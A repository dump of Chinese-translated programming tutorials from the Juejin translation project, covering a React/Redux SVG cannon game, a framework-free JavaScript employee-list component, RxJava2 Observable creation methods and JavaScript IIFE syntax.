'./components/Canvas'; class App extends Component { componentDidMount() { const self = this; setInterval(() => { self.props.moveObjects(self.canvasMousePosition); }, 10); } trackMouse(event) { this.canvasMousePosition = getCanvasPosition(event); } render() { return ( (this.trackMouse(event))} /> ); } } App.propTypes = { angle: PropTypes.number.isRequired, moveObjects: PropTypes.func.isRequired, }; export default App; ``` 您会发现我们对这个新版本做了很多修改。总结如下: * `componentDidMount`: 您定义了 [生命周期方法](https://reactjs.org/docs/react-component.html#componentdidmount) 来间断地触发 `moveObjects` 指令。 * `trackMouse`: 您定义了这个方法用来更新 `App` 组件的 `canvasMousePosition` 属性。这个属性受控于 `moveObjects` 指令。注意这个属性获取的不是 HTML 文档上的鼠标位置。[而是引用您画布里的相对位置](https://stackoverflow.com/questions/10298658/mouse-position-inside-autoscaled-svg)。您将在稍后定义 `canvasMousePosition` 函数。 * `render`: 现在这个方法会把 `angle` 属性和 `trackMouse` 方法传入到 `Canvas` 组件里。这个组件将使用更新 `angle` 方式来渲染您的 cannon 组件并将 `trackMouse` 作为事件监听器添加到 `svg` 元素上。稍后您将更新这个组件。 * `App.propTypes`: 现在您在这里定义了两个属性,`angle` 和 `moveObjects`。首先是 `angle` 属性,它是用来定义您的炮台的瞄准角度度。其次是 `moveObjects` 函数,它将每隔一段时间更新您的 cannon 组件。 现在已经更新完了 `App` 组件,接下来您需要往 `formulas.js` 文件里添加如下代码: ```JavaScript export const getCanvasPosition = (event) => { // mouse position on auto-scaling canvas // https://stackoverflow.com/a/10298843/1232793 const svg = document.getElementById('aliens-go-home-canvas'); const point = svg.createSVGPoint(); point.x = event.clientX; point.y = event.clientY; const { x, y } = point.matrixTransform(svg.getScreenCTM().inverse()); return {x, y}; }; ``` 如果您对为什么需要它感兴趣,[在 StackOverflow 上您会找的答案](https://stackoverflow.com/a/10298843/1232793)。 最后一步是更新您的 `Canvas` 组件来使您的炮台能够瞄准。打开 `Canvas.jsx` 文件(在 `./src/components` 里)并替换成如下内容: ```JavaScript import React from 'react'; import PropTypes from 'prop-types'; import Sky from './Sky'; import Ground from './Ground'; import CannonBase from './CannonBase'; import CannonPipe from './CannonPipe'; const Canvas = (props) => { const viewBox = [window.innerWidth / -2, 100 - window.innerHeight, window.innerWidth, window.innerHeight]; return ( ); }; Canvas.propTypes = { angle: PropTypes.number.isRequired, trackMouse: PropTypes.func.isRequired, }; export default Canvas; ``` 当前版本和上一个版本的区别有: * `CannonPipe.rotation`:这个属性不再是写死的了。现在,它被绑定到 Redux store 所提供的状态里(通过 `App` 映射)。 *   `svg.onMouseMove`:您会将此事件监听器添加到画布中,以使得 `App` 组件能感知到鼠标的位置。 * `Canvas.propTypes`:您会明确地为该组件定义它需要 `angle` 和 `trackMouse` 属性。 就这样!您应该准备好来预览您炮台的瞄准功能。 切换到 terminal,并在项目的根目录运行 `npm start` (如果它还没有运行)。 然后,在浏览器里打开 [http://localhost:3000/](http://localhost:3000/) 并移动鼠标。您的炮台将跟随鼠标旋转起来。 多有趣啊!? > [“我用 React, Redux 和 SVG 创建了一个可以瞄准的炮台。这多有趣啊!?” 在这里 tweet 我们 ![](https://cdn.auth0.com/blog/resources/twitter.svg)](https://twitter.com/intent/tweet?text="I+have+created+an+animated+cannon+with+React%2C+Redux%2C+and+SVG%21+How+fun+is+that%21%3F"%20via%20@auth0%20http://auth0.com/blog/developing-games-with-react-redux-and-svg-part-1/) ## 总结和下一步 在本系列的第一部分,您学习了一些重要的主题,它将帮助您创建一个完整游戏。您也使用了 `create-react-app` 来创建您的项目并创建了一些游戏元素,如炮台、天空和大地。最后,您给炮台添加了瞄准功能。有了这些元素,您就能其他的 React 组件并让他们动起来。 [在本系列的下篇文章中](https://auth0.com/blog/developing-games-with-react-redux-and-svg-part-2/),您将再创造一些组件,来让一些飞碟随机出现在预定的位置。之后,您将使您的炮台能够发射一些炮弹。这实在令人激动! 请保持关注! --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/developing-small-javascript-components-without-frameworks.md ================================================ >* 原文链接 : [Developing small JavaScript components WITHOUT frameworks](https://jack.ofspades.com/developing-small-javascript-components-without-frameworks/) * 原文作者 : [Jack Tarantino](https://github.com/jacopotarantino) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [L9m](https://github.com/L9m/) * 校对者: [wild-flame](https://github.com/wild-flame), [hikerpig](https://github.com/hikerpig) # 怎样在不使用框架的基础上开发一个 Javascript 组件 许多开发者(包括我)犯的一个错误是当遇到问题时他们总是自上而下地考虑问题。他们想问题的时候,总是从考虑框架(Framework),插件(Plugin),预处理器(Pre-processors),后处理器(Post-processors),面向对象模式(objected-oriented patterns)等等这些方面出发,他们也可能会从他们以前看过的一篇文章来考虑。而这时如果有一个生成器(Generator)的话,他们当然也愿意使用生成器提供的脚手架(Scaffold)来解决这样的问题。但是随着使用所有这些优秀的工具和强大的插件,我们往往忽略了,我们到底要构建什么,以及我们为什么要构建。在大多数场景下,我们实际上并不需要 _任何_ 的这些框架!我们在 _没有_ 使用任何 JavaScript 框架和工具的情况下构建了一个简单组件实例。这篇文章给想给那些中高级程序员提个醒,其实不用框架和膨胀软件(Bloatware)也可以做事。当然,这里的经验和代码示例对初级工程师们来说也是易懂和实用的。 我们要建立一个公司员工列表(通常我说的是一个最近推文或某事的列表但他们现在需要你建立一个应用访问他们的 API,挺复杂的)。我们的产品经理想要在公司网站首页上放上最近员工的列表,并且要做到自动更新。这个列表要包括新员工的照片,名字,所在城市等信息。没什么夸张的,对吧?那么,在目前情况下,比方说公司首页是和其他代码库是分开的,而且它已经用 jQuery 做了几个动画效果。那么,这是我们的假设: * 一个半自动更新列表 * 单页面 * 你是这个项目唯一的开发者 * 时间和资源都是无限的 * 这个页面上已经用了 jQuery 所以你从何处下手呢?你是否立即要用 Angular ?因为你知道你不花时间使用一个 `$scope.employees` 和 `ng-repeat` 。你是否要用 React ?因为它在列表中插入员工标签 **很快** 。亦或是切换到静态网页然后使用 Webpack?然后你就能用 Jade 写 HTML 用Sass 写 CSS ?因为说实话谁还会看原始的标签。不想骗你,最后一个对我 _真的_ 很有吸引力。但是我们真的需要它吗?正确的答案是 'no' 。这些东西并不能切实解决我们手上的问题。而且他们让软件栈方面变得更加令人困惑。想想如果下次另一个工程师,特别是初级工程师来接手这个项目;当另一个工程师只是做较小修改时,你并不想要他被这些花哨功能所困惑。所以,我们简单组件的代码是什么样的呢?
      就是它。这就是我们所有开始的地方。你可能注意到我给这个 div 添加的第二个类是以 `js-` 开始的。如果你不熟悉这种模式的话,这样做是因为我想向以后的开发者表明这个组件与 JavaScript 关联。这种方式我们就能够区分 _只是_ 为 JS 做交互的类和 只是和 CSS 绑定的类。它能让重构更容易。现在,让我们最后让这个列表变得美观 _一点_ 。(读者注意:我可能是世界上最糟的设计师)。我更喜欢使用像一种 BEM 和 SMACSS 的 CSS 结构,但是为了这个例子更简洁,这些名称和结构就先这样保留吧: * { box-sizing: border-box; } .employee-list { background: lavender; padding: 2rem 0.5rem; border: 1px solid royalblue; border-radius: 0.5rem; max-width: 320px; } 那么现在我给列表添加一些样式,虽然还没完成,但这是个过程。现在,增加一个示例员工:
      • Photo of Beyoncé
        Beyoncé Knowles
        Santa Monica, CA
      .employee { list-style: none; } .employee + .employee { padding-top: 0.5rem; } .employee:after { content: ' '; height: 0; display: block; clear: both; } .employee-photo { float: left; padding: 0 0.5rem 0.5rem 0; } 棒极了!所以现在我们有一个拥有简单样式和布局的一个员工列表。那么,接下来是什么?员工的数量应该可能不只有一个。我们需要自动获取他们。我们来获取员工数据: // 用一个 IIFE 包裹代码,从而使它们与其他代码隔离开。 (() => { // 严格模式用来防止错误和确保 ES6 特性可用 'use strict' // 我们使用 jQuery 的 ajax 方法确保代码简洁 // 从 randomuser.me 拉取数据 作为我们 'employee API' 的数据源 // (记住这是一个假的推文列表(a fake tweet list)) $.ajax({ url: 'https://randomuser.me/api/', dataType: 'json', success: (data) => { // 成功!我们得到数据! alert(JSON.stringify(data)) } }) })() 很棒!我们获得了员工数据,其间没有依靠框架和复杂的预处理器,也没有花两小时争论要选用哪个脚手架工具。目前我们使用 `alert` 函数 来替代测试框架以确保数据符合我们的预期。现在,我们需要通过一些模版解析数据去插入到 `.employee-list` 中。所以 完成之后然后来制作模版: $.ajax({ url: 'https://randomuser.me/api/', // query string parameters to append data: { results: 3 }, dataType: 'json', success: (data) => { // 成功!我们获得数据! let employee = `
    • Photo of ${data.results[0].name.first}
      ${data.results[0].name.first} ${data.results[0].name.last}
      ${data.results[0].location.city}, ${data.results[0].location.state}
    • ` $('.js-employee-list').append(employee) } }) 好极了!现在我们有了一个获取用户的脚本,把用户插入模版中,然后将模版呈现在页面上。虽然有点马虎而且只能处理一个用户。现在到重构的时间了: // 把员工信息转换成一块标签 function employee_markup (employee) { return `
    • Photo of ${employee.name.first}
      ${employee.name.first} ${employee.name.last}
      ${employee.location.city}, ${employee.location.state}
    • ` } $.ajax({ url: 'https://randomuser.me/api/', dataType: 'json', // 查询字符串参数 data: { results: 3 }, success: (data) => { // 成功! 我们获得了数据 let employees_markup = '' data.results.forEach((employee) => { employees_markup += employee_markup(employee) }) $('.js-employee-list').append(employees_markup) } }) 现在你得到了!一个没有使用框架和任何构建流程的功能完备的小 JavaScript 组件。包含注释在内它只有 66 行代码并且完全可以扩展添加一个动画,连接,分析,之类的功能。查看以下完成的组件: 源代码 [MyGVOv](http://codepen.io/jacopotarantino/pen/MyGVOv/) 作者: jacopotarantino ([@jacopotarantino](http://codepen.io/jacopotarantino)) 在 [CodePen](http://codepen.io). 现在,显然这只是一个非常非常简单的组件而且可能不能满足你特定项目的所有需求。如果你保持简单的想法,你能坚持无框架这个原则做到更多。或者,如果你的需求很多但复杂度较低,可以考虑像 Webpack 这样的构建工具。构建工具(在这个主题上)并不完全像 框架和插件它们那样完成事情。构建工具并不会在最后服务用户的代码中添加臃肿的东西,它只存在于你的工具箱中。因为我们的目标是从框架中剥离并为我们的使用者创造更好体验,和对自己来说则是创造更好管理的代码。Webpack 能处理大量繁杂的事务从而让你专注于更有意思的事。我在我的 [UI Component Generator](https://github.com/jacopotarantino/generator-ui-component) 用了它,其中还引入了非常小的框架和工具可以让你去写没有冗余的大量功能代码。当你不用 JavaScript 框架,事情可能很快变得"原始"而且代码可能变得令人困惑。所以,当你做这些组件时,要考虑一种代码结构并且坚持它。一致性是确保代码优雅的关键。 记住,最重要的是你一定要测试和给你代码编写文档。 “不写代码文档,等于没写” - [@mirisuzanne](https://twitter.com/mirisuzanne) ## 彩蛋 我做了一次标题党,而我使用了 jQuery。这只是为了简洁起见,我并不赞成使用 jQuery,你并不需要它。对于这些好奇,其实可以利用下面的原生代码来重写那些超级易懂的代码。 ### 原生 JavaScript 的 AJAX 请求 不幸地这个代码没有任何简化,但你可以自己用相对少的代码来实现。 (() => { 'use strict' // 创建一个新的 XMLHttpRequest。这是在无框架情况下使用 AJAX 的方法 const xhr = new XMLHttpRequest() // 声明 HTTP 请求方法和地址 xhr.open('GET', 'https://randomuser.me/api/?results=3') // in a GET request what you send doesn't matter GET 请求 // in a POST request this is the request body xhr.send(null) // 等待 'readystatechange' 状态改变去触发 xhr 对象 xhr.onreadystatechange = function () { //等待 xhr 成功成功返回 if (xhr.readyState !== 4 ) { return } // 非 200 状态时输出错误信息 if (xhr.status !== 200) { return console.log('Error: ' + xhr.status) } // 一切正常!输出响应 console.log(xhr.responseText) } })() ### 用原生 JavaScript 进行 DOM 插入 现在浏览器们基本接受了 jQuery 的选择器,这个超级简单。 (() => { 'use strict' const employee_list = document.querySelector('.js-employee-list') const employees_markup = `
    • ` employee_list.innerHTML = employees_markup })() 就这么简单! ### 没有采用 ES6 特性 除非是的你工作需要,否则我真的不推荐回退到 ES5,下面这些是 ES6 可以代替的。 #### 字符串插值 用 ``Photo of ${employee}.`` 替换所有的 `'Photo of ' + employee + '.'` #### `let` 和 `const` 这个例子中的 `var` 关键字都可以用 `let` 和 `const` 关键字替代,但你自己代码你要当心。 #### 箭头函数 用 `(employee) => {` 替换 `function (employee) {` 。 再提醒一次,这个例子中代码可以被替代,但是你自己的代码你要当心。`let`, `const`,和箭头函数和 `var` 和 `function` 的作用域不同,并且如果你的代码马虎,没有结构化,在它们之间切换可能会破坏你的代码。 ================================================ FILE: TODO/dialogue-rx-observable-developer-android-rxjava2-hell-part5.md ================================================ > * 原文地址:[Dialogue between Rx Observable and a Developer (Me) [ Android RxJava2 ] ( What the hell is this ) Part5](http://www.uwanttolearn.com/android/dialogue-rx-observable-developer-android-rxjava2-hell-part5/) > * 原文作者:[Hafiz Waleed Hussain](http://www.uwanttolearn.com/author/admin/) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 译者:[龙骑将杨影枫](https://github.com/stormrabbit) > * 校对者:[Phoenix](https://github.com/wbinarytree)、J[erryMissTom](https://github.com/JerryMissTom) ## 开发者(也就是我)与Rx Observable 类的对话 [ Android RxJava2 ] ( 这到底是什么?) 第五部分 ## 又是新的一天,是时候学点新东来西来让今天变得酷炫了🙂。 大家好,希望你们都过的不错。这是我们 RxJava2 Android 系列的第五篇文章 [ [part1](https://github.com/xitu/gold-miner/blob/master/TODO/reactive-programming-android-rxjava2-hell-part1.md), [part2](https://github.com/xitu/gold-miner/blob/master/TODO/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2.md), [part3](https://github.com/xitu/gold-miner/blob/master/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md), [part4](https://github.com/xitu/gold-miner/blob/master/TODO/war-learning-curve-rx-java-2-java-8-stream-android-rxjava2-hell-part4.md) ] 。在这篇文章中,我们会继续研究 Rx Java Android 。 **动机**: 动机和我在第一部分 [part1](https://github.com/xitu/gold-miner/blob/master/TODO/reactive-programming-android-rxjava2-hell-part1.md) 中分享给大家的一样。现在我们把之前 4 篇学到的东西融会贯通起来。 **介绍:** 当我在学习 Rx java Android 的某一天,我有幸与一位 Rx Java 的 Observable 类进行了亲切友好的交谈。好消息是 Observable 类很厚道,令我惊叹不已。我一直以为 Rx Java 是个大坑逼。他/她不想和开发者做朋友,总给他们穿小鞋。 但是在和 Observable 类谈话以后,我惊喜的发现我的观点是错的。 我:你好,Observable 类,吃了嘛您? Observable 类:你好 Hafiz Waleed Hussain ,我吃过啦。 我:为啥你的学习曲线这么陡峭?为啥你故意刁难开发者?你这么搞要没朋友了。 Observable 类:哈哈,你说的是。我真想交很多朋友,不过我现在也有一些好哥们儿。他们在不同的论坛上讨论我,介绍我和我的能力。而且这些家伙真的很棒,他们花了很久的时间和我呆在一起。只有精诚所至,才会金石为开。但问题是,很多想撩我的人只走肾不走心。他们关注我了一小会就去刷推特脸书,把我给忘了。所以说,对我不真诚的人又如何指望我和他们交朋友呢? 我:好吧,如果想和你交朋友的话,我该怎么做? Observable 类:把注意力集中在我身上,并且坚持足够长的时间,然后你就知道我有多真诚了。 我:嗯,实话实说我不擅长集中精神,但是我擅长无视周围。这样可以嘛? Observable 类:当然,只要你和我在一起的时候可以心无旁骛,我会是你的好朋友的。 我:哇哦,我有种预感,我会和你交上朋友的。 Observable 类:当然,任何人都可以把我当好朋友。 我:现在我有些问题,可以问了嘛? Observable 类:当然,你可以问成千上万个问题。我会给你答案,但是重要的是需要你自己花时间去思考和吸收。 我:我会的。如果我想把数据转化为 Observable 对象,在 Rx Java 2 Android 里怎么实现? Observable 类:这个问题的答案很长很长。如果你来看我(Rx Java 2 Observable 类)的源码,你就会发现我一共有12904行代码。**(校对 wbinarytree 注:在 RxJava 2.0.9 版本。Observable 类已经成功增肥到 13728 行。)** [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-18-at-8.54.00-AM-1024x527.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-18-at-8.54.00-AM.png) 我的团队里也有好几个朋友,可以根据开发者的需求返回 Observable 对象,比如 map ,filter。不过现在我会告诉你几个可以帮助你把任何东西转化为 Observable 对象的方法。抱歉我的回答可能会很长,但是也不会很无聊。我不仅仅会演示这些方法如何创建 Observable 类,同时也会向你展示如何对手头边代码进行重构。 1. just(): 通过这个方法,你可以把任意(多个)对象转化成以此对象为泛型的 Observable 对象( Observable )。 ``` String data= "Hello World"; Observable.just(data).subscribe(s -> System.out.println(s)); Output: Hello World ``` 如果你的数据不止一个,可以像下面那样调用 just 方法 : ``` String data= "Hello World"; Integer i= 4500; Boolean b= true; Observable.just(data,i,b).subscribe(s -> System.out.println(s)); Output: Hello World 4500 true ``` 此 API 最多可接收 10 个数据做参数。 ``` Observable.just(1,2,3,4,5,6,7,8,9,10).subscribe(s -> System.out.print(s+" ")); Output: 1 2 3 4 5 6 7 8 9 10 ``` [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-18-at-9.34.10-AM-1024x180.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-18-at-9.34.10-AM.png) 样例代码:(不是个好例子,只是给点提示,提示你如何在自己的代码中使用) ``` public static void main(String[] args) { String username= "username"; String password= "password"; System.out.println(validate(username, password)); } private static boolean validate(String username, String password) { boolean isUsernameValid= username!=null && !username.isEmpty() && username.length() > 3; boolean isPassword= password!=null && !password.isEmpty() && password.length() > 3; return isUsernameValid && isPassword; } ``` 使用 Observable 类进行重构: ``` private static boolean isValid= true; private static boolean validate(String username, String password) { Observable.just(username, password).subscribe(s -> { if (!(s != null && !s.isEmpty() && s.length() > 3)) throw new RuntimeException(); }, throwable -> isValid= false); return isValid; } ``` 2. from…: 我有一大堆的 API 可以把复杂的数据结构转化为 Observable 对象,比如下面那些以关键字 from 开头的方法: [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-18-at-10.02.40-AM-1024x187.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-18-at-10.02.40-AM.png) 我想这些 API 从名字就可以看懂它们的意思,所以也不需要更多解释了。不过我会给你一些例子,这样你可以在自己的代码里用的更舒服。 **(校对 wbinarytree 注: 虽然 fromCallable, fromPublisher, fromFuture 也是 from 开头的方法。但是他们互相之间区别很大。尤其是 fromCallable 和 fromPublisher。)** ``` public static void main(String[] args) { List tasks= Arrays.asList(new Tasks(1,"description"), new Tasks(2,"description"),new Tasks(4,"description"), new Tasks(3,"description"),new Tasks(5,"description")); Observable.fromIterable(tasks) .forEach(task -> System.out.println(task.toString())); } private static class Tasks { int id;String description; public Tasks(int id, String description) {this.id= id;this.description = description;} @Override public String toString() {return "Tasks{" + "id=" + id + ", description='" + description + '\'' + '}';} } } ``` 从数组转化为 Observable 对象 ``` public static void main(String[] args) { Integer[] values= {1,2,3,4,5}; Observable.fromArray(values) .subscribe(v-> System.out.print(v+" ")); } ``` 两个例子就够啦,回头你可以亲自试试其他的。 3. create(): 你可以把任何东西强行转为 Observable 对象。这个 API 过于强大,所以个人建议使用这个API之前,应该先找找有没有其他的解决方式。大约99%的情况下,你可以用其他的 API 来解决问题。但如果实在找不到,那么就用它也可以。 **(校对 wbinarytree 注:这里可能作者对 RxJava 2 的 create 还停留在 RxJava 1 的阶段。 RxJava 1.x 确实不推荐 create 方法。而 RxJava 2 的 create 方法是推荐方法。并不是 99% 的情况都可以被取代。 RxJava 1.x 的 create 方法现已经成为 RxJava 2.x 的 unsafeCreate ,RxJava 1.2.9 版本也加入了新的安全的 create 重载方法。)** ``` public static void main(String[] args) { final int a= 3, b = 5, c = 9; Observable me= Observable.create(new ObservableOnSubscribe() { @Override public void subscribe(ObservableEmitter observableEmitter) throws Exception { observableEmitter.onNext(a); observableEmitter.onNext(b); observableEmitter.onNext(c); observableEmitter.onComplete(); } }); me.subscribe(i-> System.out.println(i)); } ``` 4. range(): 这就像是一个 for 循环,就像下面的代码显示的那样。 ``` public static void main(String[] args) { Observable.range(1,10) .subscribe(i-> System.out.print(i+" ")); } Output: 1 2 3 4 5 6 7 8 9 10 ``` 再来一个例子: ``` public static void main(String[] args) { List names= Arrays.asList("Hafiz", "Waleed", "Hussain", "Steve"); for (int i= 0; i < names.size(); i++) { if(i%2== 0)continue; System.out.println(names.get(i)); } Observable.range(0, names.size()) .filter(index->index%2==1) .subscribe(index -> System.out.println(names.get(index))); } ``` 5. interval(): 这个 API 碉堡了。我用两种方法实现同一种需求,你可以比较一下。第一种我用 Java 的线程来实现,另一种我用 interval() 这个 API ,两种方法会得到同一个结果。 **(校对 wbinarytree 注:interval() 会默认在 Scheduler.computation() 进行操作。)** ``` public static void main(String[] args) { new Thread(() -> { try { sleep(1000); } catch (InterruptedException e) { e.printStackTrace(); } greeting(); }).start(); Observable.interval(0,1000, TimeUnit.MILLISECONDS) .subscribe(aLong -> greeting()); } public static void greeting(){ System.out.println("Hello"); } ``` 6. timer(): 又是一个好的 API。在程序中如果我想一秒钟后调用什么方法,可以用 timer ,就像下面展示的那样: ``` public static void main(String[] args) throws InterruptedException { Observable.timer(1, TimeUnit.SECONDS) .subscribe(aLong -> greeting()); Thread.sleep(2000); } public static void greeting(){ System.out.println("Hello"); } ``` 7. empty(): 这个 API 很有用,尤其是在有假数据的时候。这个 API 创建的 Observable 对象中,注册的 Observer 对象只调用 complete 方法。比如这个例子,如果在测试运行时发送给我假数据,在生产环境下就调用真的数据。 ``` public static void main(String[] args) throws InterruptedException { hey(false).subscribe(o -> System.out.println(o)); } private static Observable hey(boolean isMock) { return isMock ? Observable.empty(): Observable.just(1, 2, 3, 4); } ``` 8. defer(): 这个 API 在很多情况下都会很有用。我来用下面的例子解释一下: ``` public static void main(String[] args) throws InterruptedException { Employee employee= new Employee(); employee.name= "Hafiz"; employee.age= 27; Observable observable= employee.getObservable(); employee.age= 28; observable.subscribe(s-> System.out.println(s)); } private static class Employee{ String name; int age; Observable getObservable(){ return Observable.just(name, age); } } ``` 上面的代码会输出什么呢?如果你的答案是 age = 28 那就大错特错了。基本上所有创建 Observable 对象的方法在创建时就记录了可用的值。就像刚才的数据实际上输出的是 age = 27 , 因为在我创建 Observable 的时候 age 值是 27 ,当我把 age 的值变成 28 的时候 Observable 类已经创建过了。所以怎么解决这个问题呢?是的,这个时候就轮到 defer 这个 API 出场了。太有用了!当你使用 defer 以后,只有注册(subscribe)的时候才创建 Observable 类。用这个 API ,我就可以获得想要的值。 ``` Observable getObservable(){ //return Observable.just(name, age); return Observable.defer(()-> Observable.just(name, age)); } ``` 这样我们的 age 的输出值就是 28 了。 **(校对 wbinarytree 注:Observable 的创建方法中,并不是像原文中写到的,“基本上所有创建 Observable 的方法在创建时就记录了可用的值”。而是只有 just, from 方法。 create , fromCallable 等等方法都是在 subscribe 后才会调用。文中的例子可以使用 fromCallable 代替 defer。)** 9. error(): 一个可以弹出错误提示的方法。当我们讨论 Observer 类和他的方法的时候,我再和你分享吧。 10. never(): 这个 API 创建出的 Observable 对象没有包含泛型。 **(译者注:Observable.never 虽然可以得到一个 Observable 对象,但是注册的对应 Observer 既不会调用 onNext 方法也不会 onCompleted 方法,甚至不会调用 onError 方法)** 我:哇哦。谢谢你,Observable 类。谢谢你耐心又详细的回答,我会把你的回答记在我的秘籍手册上的。话说,你可以把函数也转化成 Observable 对象吗? Observable 类:当然,注意下面的代码。 ``` public static void main(String[] args) throws InterruptedException { System.out.println(scale(10,4)); Observable.just(scale(10,4)) .subscribe(value-> System.out.println(value)); } private static float scale(int width, int height){ return width/height*.3f; } ``` 我:哇哦,你真的好强大。现在我想问你有关操作符,比如 map ,filter 方面的问题。但是有关 Observable 对象创建,如果还有什么我因为缺乏知识没问到的地方,再多告诉我一点呗。 Observable 类:其实还有很多。我在这里介绍两类 Observable 对象。一种叫做 Cold Observable,第二个是 Hot Observable。在... 总结: 大家好。这篇对话已经非常非常的长,我需要就此搁笔了。不然这篇文章就会像大部头的书,可能看上去不错,但是主要目的就跑偏了。我希望,我们可以循序渐进的学习。所以我要暂停我的对话,然后在下一篇继续。读者可以试试亲自实现这些方法,如果可能的话在实际的项目中去运用、重构。最后我想说,谢谢 Observable 类给我了这么多他/她的时间。 周末愉快,再见~🙂 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。 ================================================ FILE: TODO/disassembling-javascripts-iife-syntax.md ================================================ > * 原文链接 : [Disassembling JavaScript's IIFE Syntax](https://blog.mariusschulz.com/2016/01/13/disassembling-javascripts-iife-syntax) * 原文作者 : [Marius Schulz](https://blog.mariusschulz.com/) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [huxpro](https://github.com/Huxpro) * 校对者 : [L9m](https://github.com/L9m), [sqrthree](https://github.com/sqrthree) # 揭秘 IIFE 语法 只要你稍微接触过一些 JavaScript,你一定会频繁地接触到下面这个模式 —— *IIFE*,其全称为 *immediately invoked function expression*,即“立即调用的函数表达式”: (function() { // ... })(); 一直以来,IIFE 创造的函数作用域被用于防止局部变量泄漏至全局作用域中。类似地,我们可以用 IIFE 来包裹私有状态(或广而言之,数据),这两者本质上是相通的。 > 想知道 IIFE 的更多用途吗,比如提高代码压缩率?不妨看看[@toddmotto](https://twitter.com/toddmotto) 的[这篇文章](https://toddmotto.com/what-function-window-document-undefined-iife-really-means/) 不过,你可能还是会好奇为什么 IIFE 的语法是这样的?它看上去的确有一点点奇怪,让我们一点一点地来揭开她神秘的面纱吧。 ## IIFE 语法 IIFE 的核心无非就是一个函数,从 `function` 关键字开始,到右花括号结束: function() { // ... } 不过,这可**不是**一段合法的 JavaScript 代码。当 parser(语法分析器)看到这段语句由 `function` 关键字开头时,它就会按照函数声明(Function Declaration)的方式开始解析了。可是这段函数声明并没有声明函数名,不符合语法规则。因此解析失败,我们只会得到一个语法错误。 所以我们得想个办法让 JavaScript 引擎把它作为*函数表达式(Function Expression)*而非*函数声明(Function Declaration)*来解析。如果你还不知道这两者的区别,可以看看原作者这篇有关 [JavaScript 中不同声明函数方式差异](https://blog.mariusschulz.com/2016/01/06/function-definitions-in-javascript)的文章。 我们使用的技巧其实非常简单。用一个圆括号将函数包裹起来其实就可以消除语法错误了,我们得到以下代码: (function() { // ... }); 一旦遭遇到未闭合的圆括号,parser 就会把两个圆括号之间的语句作为表达式来看待。与函数声明相比,函数表达式可以是匿名的,所以上面这段(被圆括号包着的)函数表达式就成为了一段合法的 JavaScript 代码。 > 如果你想继续了解 ECMAScript 语法,_ParenthesizedExpression_ 这个部分被详细叙述在[规范的 12.2 节](http://www.ecma-international.org/ecma-262/6.0/#sec-primary-expression). 最后剩下的,就是调用这个函数表达式了。目前为止,这个函数还未被执行。我们也没有将它赋值给任何变量 ,因此我们无法持有它的引用从而之后能用来调用它。我们将要做的是在它后面再加上一对圆括号: (function() { // ... })(); 传说中的 IIFE 就这么出现了。如果你稍微回想一下,就会觉得这个名字再合适不过了:一个*被立即调用的函数表达式(immediately invoked function expression)* 接下来,我们来看几个在不同原因催生下的 IIFE 变种。 ## 圆括号应该放哪? 我们刚才的做法,是把用于调用函数表达式的圆括号直接放在用于包裹的圆括号之后: (function() { // ... })(); 不过,Douglas Crockford 等人觉得悬荡在外的圆括号[太不美观了](https://www.youtube.com/watch?v=eGArABpLy0k&feature=youtu.be&t=1m10s)!所以它们把圆括号移到了里面: (function() { // ... }()); 其实两种做法从功能还是语义上来说都差不多,所以选择一种你喜欢的并坚持下去就好了。 ## 实名 IIFE 被包裹起来的函数其实就是个普通的函数表达式,所以你也可以给它个名字让它变成[实名的函数表达式](https://blog.mariusschulz.com/2016/01/06/function-definitions-in-javascript#function-expressions): (function iife() { // ... })(); 注意你仍然不能省略用于包裹的括号,下面这段代码仍然是**无效的**: function iife() { // ... }(); 虽然 parser 现在可以成功地把它作为函数声明来解析,但很快,紧跟的 `(` 符号就会抛出语法错误了。与函数表达式不同,函数声明并不可以被立刻调用。 ## 避免文件合并时遇到问题 有时,你会看到 IIFE 的前面放了个分号: ;(function() { // ... })(); 这个分号被称为[防御性分号](https://blog.mariusschulz.com/2016/01/13/disassembling-javascripts-iife-syntax),用于防止两个 JavaScript 文件合并时可能产生的问题。想象一下假设第一个文件的代码是这样的: var foo = bar 可以看到这个变量声明语句并没有以分号结尾。如果第二个 JS 文件中的 IIFE 前面没有放分号,合并的结果就会是这样: var foo = bar (function() { // ... })(); 第一眼看上去好像是一个赋值操作与一个 IIFE。可是事与愿违,我们把 `bar` 后面的换行去掉就能看清楚了: `bar` 会被当作一个接受函数类型参数的函数…… var foo = bar(function() { // ... 